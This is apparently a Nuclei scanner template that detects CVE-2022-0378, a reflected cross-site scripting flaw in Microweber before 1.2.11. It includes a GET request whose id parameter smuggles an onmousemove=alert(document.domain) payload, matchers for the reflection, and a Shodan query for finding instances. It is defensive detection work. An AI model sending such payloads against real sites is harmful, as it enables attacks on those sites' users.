id: CVE-2022-0378 info: name: Microweber Cross-Site Scripting author: pikpikcu severity: medium description: Microweber contains a reflected cross-site scripting in Packagist microweber/microweber prior to 1.2.11. remediation: | Apply the latest security patch or upgrade to a version that has addressed the vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-0378 - https://github.com/microweber/microweber/commit/fc7e1a026735b93f0e0047700d08c44954fce9ce - https://huntr.dev/bounties/529b65c0-5be7-49d4-9419-f905b8153d31 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-0378 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40951 cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: microweber product: microweber shodan-query: http.favicon.hash:780351152 tags: cve,cve2022,microweber,xss,huntr http: - method: GET path: - '{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x' matchers-condition: and matchers: - type: word part: body words: - 'mwui_init' - 'onmousemove="alert(document.domain)' condition: and - type: status status: - 200 # digest: 4a0a00473045022100c84ec24e7172418128b6a1f317229a693d9bbc2960c1cbf1a8f01e203df8a76e0220269bb554a875704527c4ee82b81e3fbb4e14caf70608d4804580da88a693a5ab:922c64590222798bb761d5b6d8e72950